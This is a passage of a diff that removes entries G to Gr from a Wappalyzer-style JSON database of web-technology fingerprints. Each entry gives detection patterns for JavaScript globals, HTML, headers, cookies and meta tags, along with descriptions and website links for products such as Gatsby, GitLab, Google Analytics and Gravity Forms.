href=[^\u003e]*?govuk-frontend(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e]*?(?:\\.min)?\\.css\\;version:\\1", - "\u003cbody[^\u003e]+govuk-template__body\\;confidence:80", - "\u003ca[^\u003e]+govuk-link\\;confidence:10" - ], - "website": "https://design-system.service.gov.uk/" - }, - "GOV.UK Template": { - "js": [ - "govuk" - ], - "html": [ - "\u003clink[^\u003e]+govuk-template[^\u003e\"]+css", - "\u003clink[^\u003e]+govuk-template-print[^\u003e\"]+css", - "\u003clink[^\u003e]+govuk-template-ie6[^\u003e\"]+css", - "\u003clink[^\u003e]+govuk-template-ie7[^\u003e\"]+css", - "\u003clink[^\u003e]+govuk-template-ie8[^\u003e\"]+css" - ], - "website": "https://github.com/alphagov/govuk_template/" - }, - "GOV.UK Toolkit": { - "js": [ - "govuk.details", - "govuk.modules", - "govuk.primarylinks" - ], - "website": "https://github.com/alphagov/govuk_frontend_toolkit" - }, - "GPT AI Power": { - "description": "GPT AI Power is a WordPress plugin that offers a comprehensive AI package.", - "website": "https://gptaipower.com" - }, - "GSAP": { - "js": [ - "tweenlite.version", - "tweenmax.version", - "gsap.version", - "gsapversions" - ], - "description": "GSAP is an animation library that allows you to create animations with JavaScript.", - "website": "https://greensock.com/gsap" - }, - "GTranslate": { - "description": "GTranslate is a website translator which can translate any website to any language automatically.", - "website": "https://gtranslate.io" - }, - "GTranslate app": { - "description": "GTranslate app is a website translator which can translate any website to any language automatically.", - "website": "https://apps.shopify.com/multilingual-shop-by-gtranslate" - }, - "GX WebManager": { - "html": [ - "\u003c!--\\s+powered by gx" - ], - "meta": { - "generator": [ - "gx webmanager(?: ([\\d.]+))?\\;version:\\1" - ] - }, - "website": "http://www.gxsoftware.com/en/products/web-content-management.htm" - }, - "Gallery": { - "js": [ - "$.fn.gallery_valign", - "galleryauthtoken" - ], - "html": [ - "\u003cdiv id=\"gsnavbar\" class=\"gcborder1\"\u003e", - "\u003ca href=\"http://gallery\\.sourceforge\\.net\"\u003e\u003cimg[^\u003e]+powered by gallery\\s*(?:(?:v|version)\\s*([0-9.]+))?\\;version:\\1" - ], - "description": "Gallery is an open-source web based photo album organiser.", - "website": "http://galleryproject.org/" - }, - "Gambio": { - "js": [ - "gambio" - ], - "html": [ - "(?:\u003clink[^\u003e]* href=\"templates/gambio/|\u003ca[^\u003e]content\\.php\\?coid=\\d|\u003c!-- gambio eof --\u003e|\u003c!--[\\s=]+shopsoftware by gambio gmbh \\(c\\))" - ], - "implies": [ - "PHP" - ], - "description": "Gambio is an all-in-one shopping cart solution for small to medium sized businesses.", - "website": "http://gambio.de" - }, - "Gameball": { - "js": [ - "gbsdk.settings.shop", - "gbreferralcodeinput" - ], - "description": "Gameball is a loyalty \u0026 retention platform that offers gamified customer engagement tools for customers such as rewards, points, and referrals.", - "website": "https://www.gameball.co" - }, - "Gatsby": { - "meta": { - "generator": [ - "^gatsby(?: ([0-9.]+))?$\\;version:\\1" - ] - }, - "implies": [ - "React", - "Webpack" - ], - "description": "Gatsby is a React-based open-source framework with performance, scalability and security built-in.", - "website": "https://www.gatsbyjs.org/" - }, - "Gatsby Cloud Image CDN": { - "description": "Image CDN is a new feature of hosting on Gatsby Cloud. Instead of processing images at build time, Image CDN defers and offloads image processing to the edge.", - "website": "https://www.gatsbyjs.com/products/cloud/image-cdn" - }, - "Gauges": { - "cookies": { - "_gauges_": "" - }, - "js": [ - "_gauges" - ], - "website": "https://get.gaug.es" - }, - "GeeTest": { - "headers": { - "content-security-policy": "\\.geetest\\.com" - }, - "description": "GeeTest is a CAPTCHA and bot management provider, protects websites, mobile apps, and APIs from automated bot-driven attacks, like ATO, credential stuffing, web scalping, etc.", - "website": "https://www.geetest.com" - }, - "GemPages": { - "js": [ - "gemstore", - "gemvendor" - ], - "implies": [ - "Shopify" - ], - "description": "GemPages is a powerful Shopify landing page buidler that empowers SMEs, agency, and freelancers to build their brands and sell online.", - "website": "https://gempages.net" - }, - "Gemius": { - "js": [ - "gemius_hit", - "gemius_init", - "gemius_pending", - "pp_gemius_hit" - ], - "html": [ - "\u003ca [^\u003e]*onclick=\"gemius_hit" - ], - "website": "https://www.gemius.com" - }, - "GeneXus": { - "js": [ - "gx.gxversion" - ], - "html": [ - "\u003clink[^\u003e]+?id=\"gxtheme_css_reference\"" - ], - "website": "https://www.genexus.com/" - }, - "GenerateBlocks": { - "description": "GenerateBlocks is a WordPress plugin that has the trappings of a page builder.", - "website": "https://generateblocks.com" - }, - "GeneratePress": { - "js": [ - "generatepressmenu", - "generatepressnavsearch" - ], - "description": "GeneratePress is a lightweight WordPress theme that focuses on speed, stability, and accessibility", - "website": "https://generatepress.com" - }, - "GeneratePress GP Premium": { - "implies": [ - "GeneratePress" - ], - "description": "GP Premium is a premium add-on plugin for the GeneratePress WordPress theme.", - "website": "https://docs.generatepress.com/article/installing-gp-premium/" - }, - "Genesis theme": { - "js": [ - "genesisblocksshare", - "genesis_responsive_menu" - ], - "description": "Genesis theme is a WordPress theme that has been developed using the Genesis Framework from Studiopress.", - "website": "https://www.studiopress.com/themes/genesis" - }, - "Genesys Cloud": { - "js": [ - "purecloud_webchat_frame_config" - ], - "description": "Genesys Cloud is an all-in-one cloud-based contact center software built to improve the customer experience.", - "website": "https://www.genesys.com" - }, - "Geniee": { - "description": "Geniee is an ad technology company.", - "website": "https://geniee.co.jp" - }, - "Gentoo": { - "headers": { - "x-powered-by": "gentoo" - }, - "description": "Gentoo is a free operating system based on Linux.", - "website": "http://www.gentoo.org" - }, - "Geo Targetly": { - "description": "Geo Targetly is a website geo personalisation software.", - "website": "https://geotargetly.com" - }, - "Gerrit": { - "js": [ - "gerrit", - "gerrit_ui" - ], - "html": [ - "\u003egerrit code review\u003c/a\u003e\\s*\"\\s*\\(([0-9.]+)\\)\\;version:\\1", - "\u003c(?:div|style) id=\"gerrit_" - ], - "meta": { - "title": [ - "^gerrit code review$" - ] - }, - "implies": [ - "Java", - "git" - ], - "website": "http://www.gerritcodereview.com" - }, - "Get Satisfaction": { - "js": [ - "gsfn" - ], - "website": "https://getsatisfaction.com/corp/" - }, - "GetButton": { - "description": "The chat button by GetButton takes website visitor directly to the messaging app such as Facebook Messenger or WhatsApp and allows them to initiate a conversation with you.", - "website": "https://getbutton.io" - }, - "GetFeedback": { - "js": [ - "usabilla_live" - ], - "description": "GetFeedback (formerly Usabilla) is a user feedback solution for collecting qualitative and quantitative user feedback across digital channels including websites, apps and emails.", - "website": "https://www.getfeedback.com" - }, - "GetMeAShop": { - "js": [ - "gmas_base_url", - "search_api_base_uri" - ], - "description": "GetMeAShop is a cloud-based ecommerce solution for small and midsize businesses across industries such as retail and manufacturing.", - "website": "https://www.getmeashop.com" - }, - "GetResponse": { - "js": [ - "grapp", - "grwf2" - ], - "description": "GetResponse is an email marketing app that allows you to create a mailing list and capture data onto it.", - "website": "https://www.getresponse.com" - }, - "GetSimple CMS": { - "meta": { - "generator": [ - "getsimple" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://get-simple.info" - }, - "GetSocial": { - "js": [ - "getsocial_version" - ], - "description": "GetSocial is a social analytics and publishing platform.", - "website": "https://getsocial.io" - }, - "GetYourGuide": { - "description": "GetYourGuide is a Berlin-based online travel agency and online marketplace for tour guides and excursions.", - "website": "https://partner.getyourguide.com" - }, - "Getintent": { - "description": "Getintent is an adtech company that offers AI-powered programmatic suite for agencies, publishers, broadcasters and content owners.", - "website": "https://getintent.com" - }, - "Getsitecontrol": { - "description": "Getsitecontrol is a form and popup builder.", - "website": "https://getsitecontrol.com" - }, - "Ghost": { - "headers": { - "x-ghost-cache-status": "" - }, - "meta": { - "generator": [ - "ghost(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "Node.js" - ], - "description": "Ghost is a powerful app for new-media creators to publish, share, and grow a business around their content.", - "website": "https://ghost.org" - }, - "Gist Giftship": { - "description": "Gist Giftship is a gifting app on Shopify that allows your customers to complete all of their gift shopping at once.", - "website": "https://gist-apps.com/giftship" - }, - "GitBook": { - "js": [ - "__gitbook_initial_props__", - "__gitbook_initial_state__", - "__gitbook_lazy_modules__" - ], - "meta": { - "generator": [ - "gitbook ([\\d.]+)?\\;version:\\1" - ] - }, - "description": "GitBook is a command-line tool for creating documentation using Git and Markdown.", - "website": "https://www.gitbook.com" - }, - "GitHub Pages": { - "headers": { - "server": "^github\\.com$", - "x-github-request-id": "" - }, - "description": "GitHub Pages is a static site hosting service.", - "website": "https://pages.github.com/" - }, - "GitLab": { - "cookies": { - "_gitlab_session": "" - }, - "js": [ - "gitlab", - "gl.dashboardoptions" - ], - "html": [ - "\u003cmeta content=\"https?://[^/]+/assets/gitlab_logo-", - "\u003cheader class=\"navbar navbar-fixed-top navbar-gitlab with-horizontal-nav\"\u003e" - ], - "meta": { - "og:site_name": [ - "^gitlab$" - ] - }, - "implies": [ - "Ruby on Rails", - "Vue.js" - ], - "description": "GitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking and continuous integration and deployment pipeline features, using an open-source license.", - "website": "https://about.gitlab.com" - }, - "GitLab CI/CD": { - "meta": { - "description": [ - "gitlab ci/cd is a tool built into gitlab for software development through continuous methodologies." - ] - }, - "implies": [ - "Ruby on Rails" - ], - "website": "http://about.gitlab.com/gitlab-ci" - }, - "Gitea": { - "cookies": { - "i_like_gitea": "" - }, - "html": [ - "\u003cdiv class=\"ui left\"\u003e\\n\\s+© gitea version: ([\\d.]+)\\;version:\\1" - ], - "meta": { - "keywords": [ - "^go,git,self-hosted,gitea$" - ] - }, - "implies": [ - "Go" - ], - "description": "Gitea is an open-source forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, wikis and code review. It supports self-hosting but also provides a free public first-party instance hosted on DiDi's cloud.", - "website": "https://gitea.io" - }, - "Gitiles": { - "html": [ - "powered by \u003ca href=\"https://gerrit\\.googlesource\\.com/gitiles/\"\u003egitiles\u003c" - ], - "implies": [ - "Java", - "git" - ], - "website": "http://gerrit.googlesource.com/gitiles/" - }, - "GiveCampus": { - "meta": { - "author": [ - "^givecampus$" - ] - }, - "description": "GiveCampus is a fundraising platform for nonprofit educational institutions.", - "website": "https://go.givecampus.com" - }, - "GiveSmart": { - "description": "GiveSmart is an event fund gathering technology that offers customisable event size, mobile bidding, text-to-donate, enhanced dashboard and reporting, seating arrangement, and more.", - "website": "https://www.givesmart.com" - }, - "GiveWP": { - "js": [ - "give.donor", - "giveapisettings" - ], - "description": "GiveWP is a donation plugin for WordPress.", - "website": "https://givewp.com" - }, - "GivingFuel": { - "description": "GivingFuel is a fundraising software solution.", - "website": "https://www.givingfuel.com" - }, - "Gladly": { - "js": [ - "gladly" - ], - "description": "Gladly is a customer service platform.", - "website": "https://www.gladly.com" - }, - "GlassFish": { - "headers": { - "server": "glassfish(?: server)?(?: open source edition)?(?: ?/?([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://glassfish.java.net" - }, - "Glassbox": { - "js": [ - "sessioncamrecorder", - "sessioncamconfiguration" - ], - "description": "Glassbox is an Israeli software company. It sells session-replay analytics software and services.", - "website": "https://www.glassbox.com" - }, - "Glide.js": { - "js": [ - "glide" - ], - "description": "Glide.js is a dependency-free JavaScript ES6 slider and carousel.", - "website": "https://glidejs.com" - }, - "Glider.js": { - "description": "Glider.js is a fast, lightweight, responsive, dependency-free scrollable list with customisable paging controls.", - "website": "https://nickpiscitelli.github.io/Glider.js" - }, - "Glitch": { - "description": "Glitch is a collaborative programming environment that lives in your browser and deploys code as you type.", - "website": "https://glitch.com" - }, - "Global-e": { - "cookies": { - "globale_ct_data": "", - "globale_data": "", - "globale_supportthirdpartcookies": "" - }, - "js": [ - "globale_engine_config", - "globale" - ], - "description": "Global-e is a provider of cross-border ecommerce solutions.", - "website": "https://www.global-e.com" - }, - "GlobalShopex": { - "js": [ - "gsxminicheckout", - "gsxpreviewcheckout" - ], - "description": "GlobalShopex offers a logistics ecommerce solution easy to integrate, which helps online businesses to sell in over 200 countries.", - "website": "http://www.globalshopex.com" - }, - "Globo Also Bought": { - "implies": [ - "Shopify" - ], - "description": "Also Bought is a conversion Shopify app by Globo.", - "website": "https://apps.shopify.com/globo-related-products" - }, - "Globo Color Swatch": { - "implies": [ - "Shopify" - ], - "description": "Globo Color Swatch app gives you an easy-to-use tool to display product variants on both collection page, homepage and product page creatively as a means to enhance customers' experience and stimulate them to purchase.", - "website": "https://apps.shopify.com/globo-related-products" - }, - "Globo Form Builder": { - "implies": [ - "Shopify" - ], - "description": "Form Builder is a Shopify form builder app for contact form built by Globo.", - "website": "https://apps.shopify.com/form-builder-contact-form" - }, - "Globo Pre-Order": { - "js": [ - "globopreorderparams" - ], - "implies": [ - "Shopify" - ], - "description": "Globo Pre-Order is a Shopify app for building pre-order functionality on Shopify stores.", - "website": "https://apps.shopify.com/pre-order-pro" - }, - "Glopal": { - "description": "Glopal provides advanced international marketing solutions for ecommerce retailers and brands seeking to grow their businesses' globally.", - "website": "https://www.glopal.com" - }, - "GloriaFood": { - "js": [ - "glfbindbuttons", - "glfwidget" - ], - "description": "GloriaFood is an online ordering and food delivery platform that helps restaurant owners manage orders and streamline point-of-sale operations.", - "website": "https://www.gloriafood.com" - }, - "Glyphicons": { - "html": [ - "(?:\u003clink[^\u003e]* href=[^\u003e]+glyphicons(?:\\.min)?\\.css|\u003cimg[^\u003e]* src=[^\u003e]+glyphicons)" - ], - "description": "Glyphicons are icon fonts which you can use in your web projects.", - "website": "http://glyphicons.com" - }, - "Gnuboard": { - "js": [ - "g4_bbs_img", - "g4_is_admin", - "g5_is_admin", - "g5_js_ver" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Gnuboard is an open-source bulletin board system or CMS from South Korea.", - "website": "https://github.com/gnuboard" - }, - "Go": { - "website": "https://golang.org" - }, - "Go Instore": { - "js": [ - "gisapp.videojsctrl", - "gisapplib.postrobot" - ], - "headers": { - "content-security-policy": "\\.goinstore\\.com" - }, - "description": "Go Instore uses high-definition live video to connect online customers with in-store product experts.", - "website": "https://goinstore.com" - }, - "GoAffPro": { - "js": [ - "gfp_api_server" - ], - "description": "Goaffpro is an affiliate marketing solution for ecommerce stores.", - "website": "https://goaffpro.com/" - }, - "GoAhead": { - "headers": { - "server": "goahead" - }, - "website": "http://embedthis.com/products/goahead/index.html" - }, - "GoAnywhere": { - "js": [ - "appcontainer" - ], - "headers": { - "server": "goanywhere" - }, - "description": "GoAnywhere by HelpSystems is a Managed File Transfer (MFT) system with sharing and collaboration features", - "website": "https://www.goanywhere.com/" - }, - "GoCache": { - "headers": { - "server": "^gocache$", - "x-gocache-cachestatus": "" - }, - "description": "GoCache is an in-memory key:value store/cache similar to memcached that is suitable for applications running on a single machine.", - "website": "https://www.gocache.com.br/" - }, - "GoCertify": { - "cookies": { - "_gocertify_session": "" - }, - "description": "GoCertify is a conversion-focused and cost-effective way to verify students, key workers, under-26s, over-60s, military and more for exclusive discounts.", - "website": "https://www.gocertify.me" - }, - "GoDaddy": { - "description": "GoDaddy is used as a web host and domain registrar.", - "website": "https://www.godaddy.com" - }, - "GoDaddy CoBlocks": { - "description": "GoDaddy CoBlocks is a suite of professional page building content blocks for the WordPress Gutenberg block editor.", - "website": "https://github.com/godaddy-wordpress/coblocks" - }, - "GoDaddy Domain Parking": { - "description": "GoDaddy is used as a web host and domain registrar.", - "website": "https://www.godaddy.com" - }, - "GoDaddy Escapade": { - "description": "GoDaddy Escapade is a GoDaddy Primer child theme with a unique sidebar navigation.", - "website": "https://github.com/godaddy-wordpress/primer-child-escapade" - }, - "GoDaddy Go": { - "js": [ - "gofrontend.openmenuonhover" - ], - "description": "GoDaddy Go is a flexible Gutenberg-first WordPress theme built for go-getters everywhere.", - "website": "https://github.com/godaddy-wordpress/go" - }, - "GoDaddy Lyrical": { - "description": "GoDaddy Lyrical is a GoDaddy Primer child theme with a focus on photography and beautiful fonts.", - "website": "https://github.com/godaddy-wordpress/primer-child-lyrical" - }, - "GoDaddy Online Store": { - "headers": { - "via": "^1\\.1 mysimplestore\\.com$" - }, - "website": "https://www.godaddy.com/en-uk/websites/online-store" - }, - "GoDaddy Primer": { - "description": "GoDaddy Primer is a powerful theme that brings clarity to your content in a fresh design. This is the parent for all themes in the GoDaddy Primer theme family.", - "website": "https://github.com/godaddy-wordpress/primer" - }, - "GoDaddy Uptown Style": { - "description": "GoDaddy Uptown Style is a GoDaddy Primer child theme with elegance and class.", - "website": "https://github.com/godaddy-wordpress/primer-child-uptownstyle" - }, - "GoDaddy Website Builder": { - "cookies": { - "dps_site_id": "" - }, - "meta": { - "generator": [ - "go daddy website builder (.+)\\;version:\\1" - ] - }, - "website": "https://www.godaddy.com/websites/website-builder" - }, - "GoJS": { - "js": [ - "go.graphobject", - "go.version" - ], - "website": "https://gojs.net/" - }, - "GoKwik": { - "js": [ - "gokwiksdk", - "gokwikbuynow", - "gokwikcheckoutapp" - ], - "description": "GoKwik is a platform for solving shopping experience problems on ecommerce websites on the internet.", - "website": "https://www.gokwik.co" - }, - "GoMage": { - "js": [ - "gomagespinnermodal", - "gomage_navigation_loadinfo_text", - "gomage_navigation_urlhash", - "gomagenavigation", - "gomagenavigationclass" - ], - "implies": [ - "PWA", - "Magento\\;version:2" - ], - "description": "GoMage is a Magento development company with 10 years of experience.", - "website": "https://www.gomage.com/magento-2-pwa" - }, - "GoStats": { - "js": [ - "_gostatsrun", - "_go_track_src", - "go_msie" - ], - "website": "http://gostats.com/" - }, - "GoatCounter": { - "description": "GoatCounter is an open source web analytics platform available as a hosted service (free for non-commercial use) or self-hosted app. It aims to offer easy to use and meaningful privacy-friendly web analytics as an alternative to Google Analytics or Matomo.", - "website": "https://www.goatcounter.com/" - }, - "Goftino": { - "js": [ - "goftino_geturl", - "goftino.setwidget", - "goftinoremoveload", - "goftino_1" - ], - "description": "Goftino is an online chat service for web users.", - "website": "https://www.goftino.com" - }, - "Gogs": { - "cookies": { - "i_like_gogits": "" - }, - "html": [ - "\u003cdiv class=\"ui left\"\u003e\\n\\s+© \\d{4} gogs version: ([\\d.]+) page:\\;version:\\1", - "\u003cbutton class=\"ui basic clone button\" id=\"repo-clone-ssh\" data-link=\"gogs@" - ], - "meta": { - "keywords": [ - "go, git, self-hosted, gogs" - ] - }, - "implies": [ - "Go", - "Macaron" - ], - "description": "Gogs is a self-hosted Git service written in Go.", - "website": "http://gogs.io" - }, - "Gomag": { - "js": [ - "$gomagconfig", - "gomagform" - ], - "headers": { - "author": "^gomag$" - }, - "description": "Gomag is a B2B and B2C ecommerce platform from Romania.", - "website": "https://www.gomag.ro" - }, - "Google AdSense": { - "js": [ - "goog_adsense_", - "goog_adsense_osdadapter", - "__google_ad_urls", - "adsbygoogle", - "google_ad_" - ], - "description": "Google AdSense is a program run by Google through which website publishers serve advertisements that are targeted to the site content and audience.", - "website": "https://www.google.com/adsense/start/" - }, - "Google Ads": { - "description": "Google Ads is an online advertising platform developed by Google.", - "website": "https://ads.google.com" - }, - "Google Ads Conversion Tracking": { - "js": [ - "google_trackconversion" - ], - "implies": [ - "Google Ads" - ], - "description": "Google Ads Conversion Tracking is a free tool that shows you what happens after a customer interacts with your ads.", - "website": "https://support.google.com/google-ads/answer/1722022" - }, - "Google Analytics": { - "cookies": { - "__utma": "", - "_ga": "", - "_ga_*": "\\;version:ga4", - "_gat": "\\;version:ua" - }, - "js": [ - "googleanalyticsobject", - "gaglobal" - ], - "description": "Google Analytics is a free web analytics service that tracks and reports website traffic.", - "website": "http://google.com/analytics" - }, - "Google Analytics Enhanced eCommerce": { - "js": [ - "gaplugins.ec" - ], - "implies": [ - "Google Analytics", - "Cart Functionality" - ], - "description": "Google analytics enhanced ecommerce is a plug-in which enables the measurement of user interactions with products on ecommerce websites.", - "website": "https://developers.google.com/analytics/devguides/collection/analyticsjs/enhanced-ecommerce" - }, - "Google App Engine": { - "website": "https://cloud.google.com/appengine" - }, - "Google Call Conversion Tracking": { - "js": [ - "_googcalltrackingimpl", - "google_wcc_status" - ], - "description": "Google Call Conversion Tracking is conversion tracking that shows which search keywords are driving the most calls.", - "website": "https://support.google.com/google-ads/answer/6100664" - }, - "Google Charts": { - "js": [ - "__gvizguard__", - "__googlevisualizationabstractrendererelementscount__" - ], - "description": "Google Charts is an interactive web service that creates graphical charts from user-supplied information.", - "website": "http://developers.google.com/chart/" - }, - "Google Cloud": { - "description": "Google Cloud is a suite of cloud computing services.", - "website": "https://cloud.google.com" - }, - "Google Cloud CDN": { - "headers": { - "via": "^1\\.1 google$" - }, - "implies": [ - "Google Cloud" - ], - "description": "Cloud CDN uses Google's global edge network to serve content closer to users.", - "website": "https://cloud.google.com/cdn" - }, - "Google Cloud Storage": { - "headers": { - "x-goog-storage-class": "^\\w+$" - }, - "implies": [ - "Google Cloud" - ], - "description": "Google Cloud Storage allows world-wide storage and retrieval of any amount of data at any time.", - "website": "https://cloud.google.com/storage" - }, - "Google Cloud Trace": { - "headers": { - "x-cloud-trace-context": "" - }, - "implies": [ - "Google Cloud" - ], - "description": "Google Cloud Trace is a distributed tracing system that collects latency data from applications and displays it in the Google Cloud Console.", - "website": "https://cloud.google.com/trace" - }, - "Google Code Prettify": { - "js": [ - "prettyprint" - ], - "website": "http://code.google.com/p/google-code-prettify" - }, - "Google Customer Reviews": { - "description": "Google Customer Reviews is a badge on your site that can help users identify your site with the Google brand and can be placed on any page of your site.", - "website": "https://support.google.com/merchants/answer/7105655?hl=en" - }, - "Google Font API": { - "js": [ - "webfonts" - ], - "description": "Google Font API is a web service that supports open-source font files that can be used on your web designs.", - "website": "http://google.com/fonts" - }, - "Google Forms": { - "description": "Google Forms is a free online form builder that allows you to create and publish online forms, surveys, quizzes, order forms, and more.", - "website": "https://www.google.com/forms/about/" - }, - "Google Hosted Libraries": { - "description": "Google Hosted Libraries is a stable, reliable, high-speed, globally available content distribution network for the most popular, open-source JavaScript libraries.", - "website": "https://developers.google.com/speed/libraries" - }, - "Google Maps": { - "description": "Google Maps is a web mapping service. It offers satellite imagery, aerial photography, street maps, 360° interactive panoramic views of streets, real-time traffic conditions, and route planning for traveling by foot, car, bicycle and air, or public transportation.", - "website": "http://maps.google.com" - }, - "Google My Business": { - "website": "https://www.google.com/business/website-builder" - }, - "Google Optimize": { - "js": [ - "google_optimize" - ], - "description": "Google Optimize allows you to test variants of web pages and see how they perform.", - "website": "https://optimize.google.com" - }, - "Google PageSpeed": { - "headers": { - "x-mod-pagespeed": "([\\d.]+)\\;version:\\1", - "x-page-speed": "(.+)\\;version:\\1" - }, - "description": "Google PageSpeed is a family of tools designed to help websites performance optimisations.", - "website": "http://developers.google.com/speed/pagespeed/mod" - }, - "Google Pay": { - "description": "Google Pay is a digital wallet platform and online payment system developed by Google to power in-app and tap-to-pay purchases on mobile devices, enabling users to make payments with Android phones, tablets or watches.", - "website": "https://pay.google.com" - }, - "Google Publisher Tag": { - "description": "Google Publisher Tag (GPT) is an ad tagging library for Google Ad Manager which is used to dynamically build ad requests.", - "website": "https://developers.google.com/publisher-tag/guides/get-started" - }, - "Google Sign-in": { - "meta": { - "google-signin-client_id": [], - "google-signin-scope": [] - }, - "description": "Google Sign-In is a secure authentication system that reduces the burden of login for users, by enabling them to sign in with their Google account.", - "website": "https://developers.google.com/identity/sign-in/web" - }, - "Google Sites": { - "website": "http://sites.google.com" - }, - "Google Tag Manager": { - "js": [ - "googletag" - ], - "html": [ - "googletagmanager\\.com/ns\\.html[^\u003e]+\u003e\u003c/iframe\u003e", - "\u003c!-- (?:end )?google tag manager --\u003e" - ], - "description": "Google Tag Manager is a tag management system (TMS) that allows you to quickly and easily update measurement codes and related code fragments collectively known as tags on your website or mobile app.", - "website": "http://www.google.com/tagmanager" - }, - "Google Tag Manager for WordPress": { - "implies": [ - "Google Tag Manager" - ], - "description": "Google Tag Manager for WordPress plugin places the GTM container code snippets onto your wordpress website so that you do not need to add this manually.", - "website": "https://gtm4wp.com" - }, - "Google Wallet": { - "website": "http://wallet.google.com" - }, - "Google Web Server": { - "headers": { - "server": "gws" - }, - "website": "http://en.wikipedia.org/wiki/Google_Web_Server" - }, - "Google Web Toolkit": { - "js": [ - "__gwt_activemodules", - "__gwt_getmetaproperty", - "__gwt_isknownpropertyvalue", - "__gwt_stylesloaded", - "__gwtlistener", - "__gwt_" - ], - "meta": { - "gwt:property": [] - }, - "implies": [ - "Java" - ], - "description": "Google Web Toolkit (GWT) is an open-source Java software development framework that makes writing AJAX applications.", - "website": "http://developers.google.com/web-toolkit" - }, - "Google Workspace": { - "description": "Google Workspace, formerly G Suite, is a collection of cloud computing, productivity and collaboration tools.", - "website": "https://workspace.google.com/" - }, - "Gorgias": { - "js": [ - "gorgiaschat" - ], - "description": "Gorgias is a helpdesk and chat solution designed for ecommerce stores.", - "website": "https://www.gorgias.com/" - }, - "GotiPath": { - "headers": { - "x-cache": "\\.swiftserve\\.com" - }, - "description": "GotiPath is a content delivery network (CDN) provider that is associated with telecom giant Telekom Malaysia Berhad.", - "website": "https://gotipath.com" - }, - "Govalo": { - "js": [ - "govalo.meta" - ], - "implies": [ - "Shopify" - ], - "description": "Govalo is a software startup company that builds a Shopify app.", - "website": "https://govalo.com" - }, - "Grab Pay Later": { - "js": [ - "grabwidget", - "grab_widget_money_format" - ], - "description": "Grab Pay Later is a buy now pay later solution offered by Grab.", - "website": "https://www.grab.com/sg/finance/pay-later/" - }, - "Grafana": { - "js": [ - "__grafana_public_path__" - ], - "implies": [ - "Go", - "Macaron" - ], - "description": "Grafana is a multi-platform open source analytics and interactive visualisation web application.", - "website": "https://grafana.com" - }, - "Graffiti CMS": { - "cookies": { - "graffitibot": "" - }, - "meta": { - "generator": [ - "graffiti cms ([^\"]+)\\;version:\\1" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://graffiticms.codeplex.com" - }, - "GrandNode": { - "cookies": { - "grand.customer": "" - }, - "html": [ - "(?:\u003c!--grandnode |\u003ca[^\u003e]+grandnode - powered by |powered by: \u003ca[^\u003e]+nopcommerce)" - ], - "meta": { - "generator": [ - "grandnode" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://grandnode.com" - }, - "Granim.js": { - "js": [ - "granim" - ], - "description": "Granim.js is a lightweight javascript library to create fluid and interactive gradients animations.", - "website": "https://sarcadass.github.io/granim.js" - }, - "GrapesJS": { - "js": [ - "grapesjs.version" - ], - "description": "GrapesJS is an open-source, multi-purpose page builder which combines different plugins and intuitive drag and drop interface.", - "website": "https://grapesjs.com" - }, - "GraphCMS": { - "implies": [ - "GraphQL", - "PostgreSQL", - "Go", - "TypeScript" - ], - "description": "GraphCMS is a GraphQL headless CMS for content federation and omnichannel headless content management.", - "website": "https://graphcms.com" - }, - "GraphQL": { - "meta": { - "store-config": [ - "graphqlmethod" - ] - }, - "description": "GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data.", - "website": "https://graphql.org" - }, - "Graphene": { - "js": [ - "graphenegetinfscrollbtnlbl", - "graphenejs.templateurl" - ], - "description": "Graphene is a WordPress theme created by Graphene Themes.", - "website": "https://www.graphene-theme.com/graphene-theme" - }, - "Grasp": { - "js": [ - "casengoupdatewidget", - "casengo.widget", - "casengo_inline_cookie" - ], - "description": "Grasp is a customer support software company that offers a cloud-based helpdesk and live chat solution for businesses of all sizes.", - "website": "https://www.getgrasp.com" - }, - "Grav": { - "meta": { - "generator": [ - "gravcms(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://getgrav.org" - }, - "Gravatar": { - "js": [ - "gravatar" - ], - "html": [ - "\u003c[^\u003e]+gravatar\\.com/avatar/" - ], - "description": "Gravatar is a service for providing globally unique avatars.", - "website": "http://gravatar.com" - }, - "Gravitec": { - "js": [ - "gravitec", - "gravitecwebpackjsonp" - ], - "description": "Gravitec is a push notification tool.", - "website": "https://gravitec.net" - }, - "Gravity Forms": { - "html": [ - "\u003cdiv class=(?:\"|')[^\u003e]*gform_wrapper", - "\u003cdiv class=(?:\"|')[^\u003e]*gform_body", - "\u003cul [^\u003e]*class=(?:\"|')[^\u003e]*gform_fields", - "\u003clink [^\u003e]*href=(?:\"|')[^\u003e]*wp-content/plugins/gravityforms/css/" - ], - "website": "http://gravityforms.com" - }, - "Green Valley CMS": { - "html": [ - "\u003cimg[^\u003e]+/dsresource\\?objectid=" - ], - "meta": { - "dc.identifier": [ - "/content\\.jsp\\?objectid=" - ] - }, - "implies": [ - "Apache Tomcat" - ], - "website": "http://www.greenvalley.nl/Public/Producten/Content_Management/CMS" - }, - "Greenhouse": { - "js": [ - "populategreenhousejobs" - ], - "description": "Greenhouse is an applicant tracking and hiring tool. Greenhouse features automated workflow, recruitment analytics, CRM, and onboarding.", - "website": "https://www.greenhouse.io" - }, - "Griddo": { - "meta": { - "generator": [ - "^griddo$" - ] - }, - "implies": [ - "React", - "Gatsby" - ], - "description": "Griddo is an Martech Experience Platform for creating custom digital experiences.", - "website": "https://griddo.io" - }, - "Gridsome": { - "meta": { - "generator": [ - "^gridsome v([\\d.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Vue.js" - ], - "description": "Gridsome is a free and open-source Vue-powered static site generator for building static websites.", - "website": "https://gridsome.org" - }, - "Grin": { - "js": [ - "grin" - ], - "description": "Grin is a influence marketing platform.", - "website": "https://grin.co/" - }, - "GrocerKey": { - "description": "GrocerKey is an ecommerce platform that helps grocery stores build an online store.", - "website": "https://grocerkey.com" - }, - 